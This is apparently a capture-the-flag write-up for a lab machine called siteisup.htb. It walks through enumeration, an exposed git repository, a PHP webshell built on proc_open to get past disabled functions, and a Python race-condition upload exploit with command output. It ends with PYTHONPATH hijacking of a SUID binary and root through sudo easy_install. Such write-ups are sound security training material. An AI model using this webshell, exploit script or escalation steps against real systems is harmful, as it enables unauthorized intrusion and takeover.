Skip to content



An Nmap scan reveals that the server only have SSH and Apache running. I will take a look to Apache first since the SSH version looks more or less updated.

└─$ sudo nmap -p- --min-rate=1000
Starting Nmap 7.92 ( ) at 2022-09-25 15:19 EDT
Nmap scan report for
Host is up (0.053s latency).
Not shown: 65533 closed tcp ports (conn-refused)
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 18.72 seconds
└─$ sudo nmap -sC -sV -p22,80
Starting Nmap 7.92 ( ) at 2022-09-25 15:21 EDT
Nmap scan report for
Host is up (0.047s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds

Port 80


A page to check if a site is up or not. I can see the domain for the site so I will add it to my host file: siteisup.htb just in case.

The application is maybe using CURL or something similar to check for sites status according with the information the de debug mode shows. I will launch a directory scan just in case I can find something more, looks like the server is using PHP files so I will look for them in the scan too:

└─$ feroxbuster -u http://siteisup.htb/ -w Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
 🎯  Target Url             http://siteisup.htb/
 🚀  Threads                50
 📖  Wordlist               Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes           [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)         7
 🦡  User-Agent             feroxbuster/2.7.0
 💉  Config File            /etc/feroxbuster/ferox-config.toml
 💲  Extensions             [php]
 🏁  HTTP methods           [GET]
 🔃  Recursion Depth        4
 🎉  New Version Available
 🏁  Press [ENTER] to use the Scan Management Menu™
200      GET       40l       93w     1131c http://siteisup.htb/
403      GET        9l       28w      277c http://siteisup.htb/.php
200      GET       40l       93w     1131c http://siteisup.htb/index.php
301      GET        9l       28w      310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200      GET        0l        0w        0c http://siteisup.htb/dev/index.php
403      GET        9l       28w      277c http://siteisup.htb/server-status
[####################] - 8m    882184/882184  0s      found:6       errors:4      
[####################] - 8m    441092/441092  871/s   http://siteisup.htb/ 
[####################] - 8m    441092/441092  871/s   http://siteisup.htb/dev 

The dev directory is returning just and empty response, I also found a dev virtual host but Im getting a 403 error trying to access it:

└─$ gobuster vhost -u http://siteisup.htb -w ~/Wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://siteisup.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /home/kali/Wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2022/09/25 16:17:19 Starting gobuster in VHOST enumeration mode
Found: dev.siteisup.htb (Status: 403) [Size: 281]

Trying things here and there I found a git repository in the dev directory: http://siteisup.htb/dev/.git. I dumped all the repository (thanks git-dumper) and got access to some source files, looks like an developer admin site thing.

According to the commits, looks like this site is hosted in the dev virtual host we found earlier. To bypass the protection we need to add a special header as we can see in the .htaccess file:

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

Dev site and RCE

Adding the header Special-Dev with the value only4dev allow us to get into the dev.siteisup.htb, I used Burpsuite to make sure my browser requests get the header. Looks like this site includes a functionality to upload a file for checking sites in bulk, obviously it is filtering what we can upload but remember we have the code for it so time to find a bypass!

The code reveals that some extentions that could be executed are allowed so the only problem now is to get to the file before it gets deleted. According to the source code, when a file is uploaded, the application takes that file and put it in a directory inside the uploads folder. The directory name is the MD5 hash of the unix timestamp, an example: uploads/MD5(time())/evil.phar. After cheking all the URLs in the file the application deletes it.

I noticed that the page hangs if you try to check a non-existent page so adding some fake URLs to the uploaded file should give us some time to get to it. To automate the process of uploading and getting the file I used a Python script (I will show it later) with the threading library to make sure I can execute code while the file POST request is waiting for all my fake URLs to be checked.

I tried some extentions to check what I can use to get code execution and .phar did the trick, I noticed something though. Check this payload and the answer:
    echo "Hello World";
    echo ini_get("disable_functions");
Hello Worldpcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen

As you can see, there are a lot of blocked functions, including typical functions used to get a webshell. I spent some time reading PHP documentation until I found proc_open, the PHP documentation even included a cool example I used as base to craft this payload:
    echo "Running code...\n";

    $command = 'id';
    if(isset($_GET['cmd'])) {
        $command = $_GET['cmd'];
    $descriptorspec = array(
       0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => array("pipe", "w")   // stdout is a pipe that the child will write to
    $cwd = '/tmp';

    $process = proc_open($command, $descriptorspec, $pipes, $cwd);

    if (is_resource($process)) {

        echo stream_get_contents($pipes[1]);

        echo stream_get_contents($pipes[2]);


Also, I added some modifications to my Python script to improve it and make sure I could sent custom commands to the uploaded file:

import requests, time, hashlib, threading
from urllib.parse import quote

url = 'http://dev.siteisup.htb'
file_name = 'rce.phar'
command = 'cat /etc/passwd'
headers = { 'Special-Dev' : 'only4dev' }
fail = False

def race_for_webshell():
    command_executed = False
    while not command_executed  and not fail:
        predicted_folder_name = hashlib.md5(str(int(time.time())).encode()).hexdigest()
        response = requests.get(f'{url}/uploads/{predicted_folder_name}/{file_name}?cmd={quote(command)}', headers=headers)
            command_executed = True
            print(f'Failed {response.status_code}: uploads/{predicted_folder_name}/{file_name}')

with open(file_name, 'rb') as file_to_upload:
    files = { 'file': file_to_upload }
    data = { 'check': 'Check' }

    print('Uploading Webshell and starting the race...')
    thread = threading.Thread(target=race_for_webshell)
    response =, files=files, data=data, headers=headers)
    if 'Extension not allowed!' in response.content.decode():
        print('Extension not allowed!')
        fail = True

This is the result of our exploit:

└─$ python3               
Uploading Webshell and starting the race...
Failed 404: uploads/47e6ed8a191edae5ec33d6ba6e5e7373/rce.phar
Running code...
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

We have RCE!! Getting a reverse shell now is trivial.

Inside the machine as www-data

Once in the machine I started checking things here and there and this called my attention:

www-data@updown:/home/developer/dev$ ls -l
total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22 15:45 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22 15:45
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
    print "Website is up"
    print "Website is down"

The binary is a SUID binary owned by the user developer so if we can control the execution of it we could impersonate that user. Testing both the binary and the Python script looks like the binary was compiled from the Python script (or at least a really similar one).

Checking a bit the Python documentation, I found that before checking for installed modules in the typical installation directories, Python will try to check both the current directory and also the PYTHONPATH environment variable trying to find the requested module. We can't write in the directory where this script is located but we can set that environment variable and point it to a directory we control:

export PYTHONPATH=/tmp

Now we create a file called in the /tmp directory with this content:

import pty


Everythinng is ready now, we can execute the binary to start impersonating the developer user!

www-data@updown:/tmp$ /home/developer/dev/siteisup
Welcome to 'siteisup.htb' application

$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

I will steal the user SSH key and jump to a more stable shell, by the way the user flag is under /home/developer/user.txt.

Pwn time!

Getting root was pretty easy, the user is allowed to execute easy_install as root without any password:

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass,

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

Gtfobins is your friend:

developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.M1s5pktFwH
Writing /tmp/tmp.M1s5pktFwH/setup.cfg
Running -q bdist_egg --dist-dir /tmp/tmp.M1s5pktFwH/egg-dist-tmp-lsOvGP
# id
uid=0(root) gid=0(root) groups=0(root)
# bash

The flag is under /root/root.txt.